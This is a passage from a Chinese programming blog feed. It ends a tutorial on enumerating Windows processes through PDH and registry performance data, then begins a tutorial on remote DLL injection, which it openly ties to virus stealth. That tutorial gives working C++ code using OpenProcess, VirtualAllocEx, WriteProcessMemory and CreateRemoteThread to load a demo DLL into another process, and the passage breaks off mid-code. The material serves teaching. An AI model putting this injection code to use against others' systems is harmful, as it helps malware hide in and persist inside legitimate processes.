<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pInst = (PPERF_INSTANCE_DEFINITION) ((DWORD)pCounter + pCounter-&gt;ByteLength);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;if (buffer) <br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;free(buffer);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buffer = NULL;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;RegCloseKey(hSubKey);<br>&nbsp;&nbsp;&nbsp;&nbsp;RegCloseKey(HKEY_PERFORMANCE_DATA);<br>&nbsp;&nbsp;&nbsp;&nbsp;return pass;<br>}<br><br>注：方法三用到的仅仅是注册表操作函数，而这些函数在advapi32.dll中实现。程序开发中，我们需要包含头文件winperf.h。另外，该方法中各个进程所调用的模块，仍然使用方法二的PSAPI函数获得，这里就不再列出。<br><br>方法四：使用PDH （Performance Data Helper）函数<br>这种方法的底层实现跟方法三其实是一样的。但我们看到，方法三实现起来非常繁琐。为了简化应用，PDH函数对方法三的实现进行了一层封装。我们这里的进程枚举，主要使用PdhEnumObjectItems函数，它的函数原型如下：<br>PDH_STATUS PdhEnumObjectItems(<br>&nbsp;&nbsp;LPCTSTR szDataSource,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 数据源<br>&nbsp;&nbsp;LPCTSTR szMachineName,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 机器名<br>&nbsp;&nbsp;LPCTSTR szObjectName,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 对象名<br>&nbsp;&nbsp;LPTSTR mszCounterList,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 计数器列表<br>&nbsp;&nbsp;LPDWORD pcchCounterListLength,&nbsp;&nbsp; // 计数器列表长度<br>&nbsp;&nbsp;LPTSTR mszInstanceList,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 实例列表<br>&nbsp;&nbsp;LPDWORD pcchInstanceListLength,&nbsp;&nbsp; // 实例列表长度<br>&nbsp;&nbsp;DWORD dwDetailLevel,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 获取信息的级别<br>&nbsp;&nbsp;DWORD dwFlags&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 保留为0<br>);<br><br>对
于每一个获得的进程实例，我们还要得到它的PID，也就是得到&#8220;ID
Process&#8221;计数器的值。这时，我们会用到其他的PDH函数，包括：PdhOpenQuery、PdhAddCounter、
PdhCollectQueryData、PdhGetFormattedCounterValue、PdhCloseQuery等。<br><br>我们的演示程序提供了完整的代码实现：<br>BOOL CPDHSpy::BuildProcessList(void)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;LPTSTR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;szCounterListBuffer&nbsp;&nbsp;&nbsp;&nbsp; = NULL;<br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dwCounterListSize&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;LPTSTR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;szInstanceListBuffer&nbsp;&nbsp;&nbsp;&nbsp;= NULL;<br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dwInstanceListSize&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;BOOL pass = FALSE;<br>&nbsp;&nbsp;&nbsp;&nbsp;// 第一次调用PdhEnumObjectItems以获取需要的列表长度 <br>&nbsp;&nbsp;&nbsp;&nbsp;PDH_STATUS pdhStatus = PdhEnumObjectItems(NULL, NULL, TEXT("Process"),<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;szCounterListBuffer, &amp;dwCounterListSize, szInstanceListBuffer,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&amp;dwInstanceListSize, PERF_DETAIL_WIZARD, 0); <br>&nbsp;&nbsp;&nbsp;&nbsp;if (pdhStatus == ERROR_SUCCESS) <br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;szCounterListBuffer&nbsp;&nbsp;= (LPTSTR) malloc((dwCounterListSize * sizeof (TCHAR)));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;szInstanceListBuffer = (LPTSTR) malloc((dwInstanceListSize * sizeof (TCHAR)));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 第二次调用PdhEnumObjectItems<br>// 获得&#8220;Process&#8221;对象的所有计数器和实例<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pdhStatus = PdhEnumObjectItems(NULL, NULL, TEXT("Process"),<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;szCounterListBuffer, &amp;dwCounterListSize, szInstanceListBuffer,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&amp;dwInstanceListSize, PERF_DETAIL_WIZARD, 0);&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (pdhStatus == ERROR_SUCCESS) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pass = TRUE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LPTSTR&nbsp;&nbsp;pInst = szInstanceListBuffer;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 获得每个实例名，也就是进程名<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (; *pInst != 0;&nbsp;&nbsp;&nbsp;&nbsp;pInst += lstrlen(pInst) + 1) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (strcmp(pInst, "System") &amp;&amp; strcmp(pInst, "Idle") &amp;&amp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcmp(pInst, "_Total"))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CProcessItem&nbsp;&nbsp;processItem;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 获得进程的PID<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;processItem.SetProcessId(GetPIDCounterValue(pInst));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;processItem.SetProcessName(pInst);&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mProcList.AddTail(processItem);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;if (szCounterListBuffer != NULL) <br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;free(szCounterListBuffer);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;szCounterListBuffer = NULL;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;if (szInstanceListBuffer != NULL) <br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;free(szInstanceListBuffer);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;szInstanceListBuffer = NULL;<br>&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp;&nbsp;return pass;<br>}<br><br>DWORD CPDHSpy::GetPIDCounterValue(LPTSTR inInstanceName)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;// 打开一个查询对象<br>&nbsp;&nbsp;&nbsp;&nbsp;HQUERY&nbsp;&nbsp; hQuery&nbsp;&nbsp; = NULL;<br>&nbsp;&nbsp;&nbsp;&nbsp;PDH_STATUS pdhStatus = PdhOpenQuery (0, 0, &amp;hQuery);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;HCOUNTER hCounter = NULL;<br>&nbsp;&nbsp;&nbsp;&nbsp;char szPathBuffer[MAX_PATH];<br>&nbsp;&nbsp;&nbsp;&nbsp;sprintf(szPathBuffer, "\\Process(%s)\\ID Process", inInstanceName);<br>&nbsp;&nbsp;&nbsp;&nbsp;pdhStatus = PdhAddCounter(hQuery, szPathBuffer, 0, &amp;hCounter);<br>&nbsp;&nbsp;&nbsp;&nbsp;pdhStatus = PdhCollectQueryData(hQuery);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;// 获得当前实例的&#8220;ID Process&#8221;计数器的值<br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ctrType;<br>&nbsp;&nbsp;&nbsp;&nbsp;PDH_FMT_COUNTERVALUE&nbsp;&nbsp; fmtValue;<br>&nbsp;&nbsp;&nbsp;&nbsp;pdhStatus = PdhGetFormattedCounterValue(hCounter, PDH_FMT_LONG, <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&amp;ctrType, &amp;fmtValue);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;// 关闭查询对象<br>&nbsp;&nbsp;&nbsp;&nbsp;pdhStatus = PdhCloseQuery (hQuery);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;return fmtValue.longValue;<br>}<br><br>注：PDH函数在Pdh.dll中实现。程序开发中，我们需要包含头文件Pdh.h，连接库文件Pdh.lib。<br><br>演示程序说明<br>我们的演示程序使用VC6.0开发完成，是一个基于对话框的MFC程序。程序设计秉承OOP风格，以及用户界面（User Interface）与业务逻辑（Business Logic）分离的原则，结构简单、条理清晰，相信大家很容易能够读懂代码。<br><br>由于本文总共介绍了四种进程枚举的方法，我们设计了如下一个逻辑控制类继承结构：<br><img style="cursor: pointer;" onclick="javascript:window.open(this.src);" alt="" onload="javascript:if(this.width>500){this.resized=true;this.style.width=500;}" src="http://www.vchelp.net/ASP/ibr_upload/1148.jpg" src_cetemp="http://www.vchelp.net/ASP/ibr_upload/1148.jpg"><br>图5 演示程序逻辑控制类结构<br><br>另外，演示程序对于进程调用的模块采用了延后枚举（Lazy Enumerating）的策略，即在程序启动的时候并没有将所有进程调用的模块都枚举好，而仅在需要的时候进行。这样可以显著节省程序启动的时间。<br><br>写在最后<br>进程隐藏（与其相对的就是进程枚举）一直是一个很热门的话题，思路有很多，其中有一种就是拦截系统API函数EnumProcesses的调用。通读本文后，你觉得这种思路可行吗？或者你有了其他新的想法！这些都是笔者写作此文的初衷。<br><br><font color="#ff0000">正文完</font> </p>
<p>附件：<br></p>
<div class="postText">
<li><a target="_blank" href="http://www.vchelp.net/ASP/ibr_upload/1143.zip">说明 ProcessSpy.zip</a> </li>
<li><a target="_blank" href="http://www.vchelp.net/ASP/ibr_upload/1144.jpg">说明 AppUI.JPG</a> </li>
<li><a target="_blank" href="http://www.vchelp.net/ASP/ibr_upload/1145.jpg">说明 PDF1.jpg</a> </li>
<li><a target="_blank" href="http://www.vchelp.net/ASP/ibr_upload/1146.jpg">说明 PDF2.jpg</a> </li>
<li><a target="_blank" href="http://www.vchelp.net/ASP/ibr_upload/1147.jpg">说明 PDF3.jpg</a> </li>
<li><a target="_blank" href="http://www.vchelp.net/ASP/ibr_upload/1148.jpg">说明 APPClass.jpg</a></li>
</div>
<br><img src ="http://www.cppblog.com/mydriverc/aggbug/28541.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-22 02:00 <a href="http://www.cppblog.com/mydriverc/articles/28541.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>DLL的远程注入技术</title><link>http://www.cppblog.com/mydriverc/articles/28536.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Sat, 21 Jul 2007 16:14:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28536.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28536.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28536.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28536.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28536.html</trackback:ping><description><![CDATA[<font size="2">Content：<br>
</font>
<p><font face="新宋体"><br>
&nbsp;&nbsp;&nbsp;
DLL的远程注入技术是目前Win32病毒广泛使用的一种技术。使用这种技术的病毒体通常位于一个DLL中，在系统启动的时候，一个EXE程序会将这个
DLL加载至某些系统进程（如Explorer.exe）中运行。这样一来，普通的进程管理器就很难发现这种病毒了，而且即使发现了也很难清除，因为只要
病毒寄生的进程不终止运行，那么这个DLL就不会在内存中卸载，用户也就无法在资源管理器中删除这个DLL文件，真可谓一箭双雕哉。</font></p>
<p><font face="新宋体">记
得2003年QQ尾巴病毒肆虐的时候，就已经有些尾巴病毒的变种在使用这种技术了。到了2004年初，我曾经尝试着仿真了一个QQ尾巴病毒，但独是跳过了
DLL的远程加载技术。直到最近在学校论坛上看到了几位朋友在探讨这一技术，便忍不住将这一尘封已久的技术从我的记忆中拣了出来，以满足广大的技术爱好者
们。</font></p>
<p><br>
<font face="新宋体"><strong> 必备知识</strong> <br>
<br>
</font></p>
<p><font face="新宋体">在阅读本文之前，你需要了解以下几个API函数：</font></p>
<p><font face="新宋体">OpenProcess - 用于打开要寄生的目标进程。<br>
VirtualAllocEx/VirtualFreeEx - 用于在目标进程中分配/释放内存空间。<br>
WriteProcessMemory - 用于在目标进程中写入要加载的DLL名称。<br>
CreateRemoteThread - 远程加载DLL的核心内容，用于控制目标进程调用API函数。<br>
LoadLibrary - 目标进程通过调用此函数来加载病毒DLL。</font></p>
<p><font face="新宋体">在此我只给出了简要的函数说明，关于函数的详细功能和介绍请参阅MSDN。</font></p>
<p><br>
<font face="新宋体"><strong> 示例程序</strong> <br>
<br>
</font></p>
<p><font face="新宋体">我将在以下的篇幅中用一个简单的示例Virus.exe来实现这一技术。这个示例的界面如下图：</font></p>
<p><font face="新宋体"><img src="http://www.titilima.cn/pics/remote1.gif" border="0"></font></p>
<p><font face="新宋体">首先运行Target.exe，这个文件是一个用Win32 Application向导生成的&#8220;Hello, World&#8221;程序，用来作为寄生的目标进程。</font></p>
<p><font face="新宋体">然后在界面的编辑控件中输入进程的名称&#8220;Target.exe&#8221;，单击&#8220;注入DLL&#8221;按钮，这时候Virus.exe就会将当前目录下的DLL.dll注入至Target.exe进程中。</font></p>
<p><font face="新宋体">在注入DLL.dll之后，你也可以单击&#8220;卸载DLL&#8221;来将已经注入的DLL卸载。</font></p>
<p><a href="http://www.titilima.cn/sample/remotedll.zip" target="_blank"><font color="#000000" face="新宋体">点这里下载示例程序</font></a></p>
<p><br>
<font face="新宋体"><strong> 模拟的病毒体DLL.dll</strong> <br>
<br>
</font></p>
<p><font face="新宋体">这是一个简单的Win32 DLL程序，它仅由一个入口函数DllMain组成：</font></p>
<p>
<t></t>
<t></t>
<table class="codetable" border="0" cellspacing="1">
    <tbody>
        <tr>
            <td><code><font face="新宋体">BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved )<br>
            {<br>
            &nbsp;&nbsp;&nbsp;&nbsp;<font color="#0000ff">switch</font> ( fdwReason )<br>
            &nbsp;&nbsp;&nbsp;&nbsp; {<br>
            &nbsp;&nbsp;&nbsp;&nbsp;<font color="#0000ff">case</font> DLL_PROCESS_ATTACH:<br>
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MessageBox( NULL, _T("DLL已进入目标进程。"), _T("信息"), MB_ICONINFORMATION );<br>
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#0000ff">break</font>;<br>
            &nbsp;&nbsp;&nbsp;&nbsp;<font color="#0000ff">case</font> DLL_PROCESS_DETACH:<br>
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MessageBox( NULL, _T("DLL已从目标进程卸载。"), _T("信息"), MB_ICONINFORMATION );<br>
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#0000ff">break</font>;<br>
            &nbsp;&nbsp;&nbsp;&nbsp; }<br>
            &nbsp;&nbsp;&nbsp;&nbsp;<font color="#0000ff">return</font> TRUE;<br>
            }</font></code></td>
        </tr>
    </tbody>
</table>
</p>
<p><font face="新宋体">如你所见，这里我在DLL被加载和卸载的时候调用了MessageBox，这是用来显示我的远程注入/卸载工作是否成功完成。而对于一个真正的病毒体来说，它往往就是处理DLL_PROCESS_ATTACH事件，在其中加入了启动病毒代码的部分：</font></p>
<p>
<t></t>
<t></t>
<table class="codetable" border="0" cellspacing="1">
    <tbody>
        <tr>
            <td><code><font face="新宋体"><font color="#0000ff">case</font> DLL_PROCESS_ATTACH:<br>
            &nbsp;&nbsp;&nbsp;&nbsp; {<br>
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; StartVirus();<br>
            &nbsp;&nbsp;&nbsp;&nbsp; }<br>
            &nbsp;&nbsp;&nbsp;&nbsp;<font color="#0000ff">break</font>;</font></code></td>
        </tr>
    </tbody>
</table>
</p>
<p><br>
<font face="新宋体"><strong> 注入！</strong> <br>
<br>
</font></p>
<p><font face="新宋体">现在要开始我们的注入工作了。首先，我们需要找到目标进程：</font></p>
<p>
<t></t>
<t></t>
<table class="codetable" border="0" cellspacing="1">
    <tbody>
        <tr>
            <td><code><font face="新宋体">DWORD FindTarget( LPCTSTR lpszProcess )<br>
            {<br>
            &nbsp;&nbsp;&nbsp;&nbsp; DWORD dwRet = 0;<br>
            &nbsp;&nbsp;&nbsp;&nbsp; HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );<br>
            &nbsp;&nbsp;&nbsp;&nbsp; PROCESSENTRY32 pe32;<br>
            &nbsp;&nbsp;&nbsp;&nbsp; pe32.dwSize = <font color="#0000ff">sizeof</font>( PROCESSENTRY32 );<br>
            &nbsp;&nbsp;&nbsp;&nbsp; Process32First( hSnapshot, &amp;pe32 );<br>
            &nbsp;&nbsp;&nbsp;&nbsp;<font color="#0000ff">do</font><br>
            &nbsp;&nbsp;&nbsp;&nbsp; {<br>
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#0000ff">if</font> ( lstrcmpi( pe32.szExeFile, lpszProcess ) == 0 )<br>
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dwRet = pe32.th32ProcessID;<br>
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#0000ff">break</font>;<br>
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
            &nbsp;&nbsp;&nbsp;&nbsp; } <font color="#0000ff">while</font> ( Process32Next( hSnapshot, &amp;pe32 ) );<br>
            &nbsp;&nbsp;&nbsp;&nbsp; CloseHandle( hSnapshot );<br>
            &nbsp;&nbsp;&nbsp;&nbsp;<font color="#0000ff">return</font> dwRet;<br>
            }</font></code></td>
        </tr>
    </tbody>
</table>
</p>
<p><font face="新宋体">这里我使用了Tool Help函数库，当然如果你是NT系统的话，也可以选择PSAPI函数库。这段代码的目的就是通过给定的进程名称来在当前系统中查找相应的进程，并返回该进程的ID。得到进程ID后，就可以调用OpenProcess来打开目标进程了：</font></p>
<p>
<t></t>
<t></t>
<table class="codetable" border="0" cellspacing="1">
    <tbody>
        <tr>
            <td><code><font face="新宋体"><font color="#008000">// 打开目标进程</font><br>
            HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwProcessID );</font></code></td>
        </tr>
    </tbody>
</table>
</p>
<p><font face="新宋体">现在有必要说一下OpenProcess第一个参数所指定的三种权限。在Win32系统下，每个进程都拥有自己
的4G虚拟地址空间，各个进程之间都相互独立。如果一个进程需要完成跨进程的工作的话，那么它必须拥有目标进程的相应操作权限。在这里，
PROCESS_CREATE_THREAD表示我可以通过返回的进程句柄在该进程中创建新的线程，也就是调用CreateRemoteThread的权
限；同理，PROCESS_VM_OPERATION则表示在该进程中分配/释放内存的权限，也就是调用
VirtualAllocEx/VirtualFreeEx的权限；PROCESS_VM_WRITE表示可以向该进程的地址空间写入数据，也就是调用
WriteProcessMemory的权限。</font></p>
<p><font face="新宋体">至此目标进程已经打开，那么我们该如何来将DLL注入其中呢？在这之前，我请你看一行代码，是如何在本进程内显式加载DLL的：</font></p>
<p>
<t></t>
<t></t>
<table class="codetable" border="0" cellspacing="1">
    <tbody>
        <tr>
            <td><code><font face="新宋体">HMODULE hDll = LoadLibrary( "DLL.dll" ); </font></code></td>
        </tr>
    </tbody>
</table>
</p>
<p><font face="新宋体">那么，如果能控制目标进程调用LoadLibrary，不就可以完成DLL的远程注入了么？的确是这样，我们可
以通过CreateRemoteThread将LoadLibrary作为目标进程的一个线程来启动，这样就可以完成&#8220;控制目标进程调用
LoadLibrary&#8221;的工作了。到这里，也许你会想当然地写下类似这样的代码：</font></p>
<p>
<t></t>
<t></t>
<table class="codetable" border="0" cellspacing="1">
    <tbody>
        <tr>
            <td><code><font face="新宋体">DWORD dwID;<br>
            LPVOID pFunc = LoadLibraryA;<br>
            HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, (LPVOID)"DLL.dll", 0, &amp;dwID );</font></code></td>
        </tr>
    </tbody>
</table>
</p>
<p><font face="新宋体">不过结果肯定会让你大失所望——注入DLL失败！</font></p>
<p><font face="新宋体">嗯嗯，那么现在让我们来分析一下失败的原因吧。我是前说过，在Win32系统下，每个进程都拥有自己的4G虚拟
地址空间，各个进程之间都是相互独立的。在这里，我们当作参数传入的字符串"DLL.dll"其实是一个数值，它表示这个字符串位于Virus.exe地
址空间之中的地址，而这个地址在传给Target.exe之后，它指向的东西就失去了有效性。举个例子来说，譬如A、B两栋大楼，我住在A楼的401；那
么B楼的401住的是谁我当然不能确定——也就是401这个门牌号在B楼失去了有效性，而且如果我想要入住B楼的话，我就必须请B楼的楼长为我在B楼中安
排新的住处（当然这个新的住处是否401也就不一定了）。</font></p>
<p><font face="新宋体">由此看来，我就需要做这么一系列略显繁杂的手续——首先在Target.exe目标进程中分配一段内存空间，然后向这段空间写入我要加载的DLL名称，最后再调用CreateRemoteThread。这段代码就成了这样：</font></p>
<p>
<t></t>
<t></t>
<table class="codetable" border="0" cellspacing="1">
    <tbody>
        <tr>
            <td><code><font face="新宋体"><font color="#008000">// 向目标进程地址空间写入DLL名称</font><br>
            DWORD dwSize, dwWritten;<br>
            dwSize = lstrlenA( lpszDll ) + 1;<br>
            LPVOID lpBuf = VirtualAllocEx( hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE );<br>
            <font color="#0000ff">if</font> ( NULL == lpBuf )<br>
            {<br>
            &nbsp;&nbsp;&nbsp;&nbsp; CloseHandle( hProcess );<br>
            &nbsp;&nbsp;&nbsp;&nbsp;<font color="#008000">// 失败处理</font><br>
            }<br>
            <font color="#0000ff">if</font> ( WriteProcessMemory( hProcess, lpBuf, (LPVOID)lpszDll, dwSize, &amp;dwWritten ) )<br>
            {<br>
            &nbsp;&nbsp;&nbsp;&nbsp;<font color="#008000">// 要写入字节数与实际写入字节数不相等，仍属失败</font><br>
            &nbsp;&nbsp;&nbsp;&nbsp;<font color="#0000ff">if</font> ( dwWritten != dwSize )<br>
            &nbsp;&nbsp;&nbsp;&nbsp; {<br>
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT );<br>
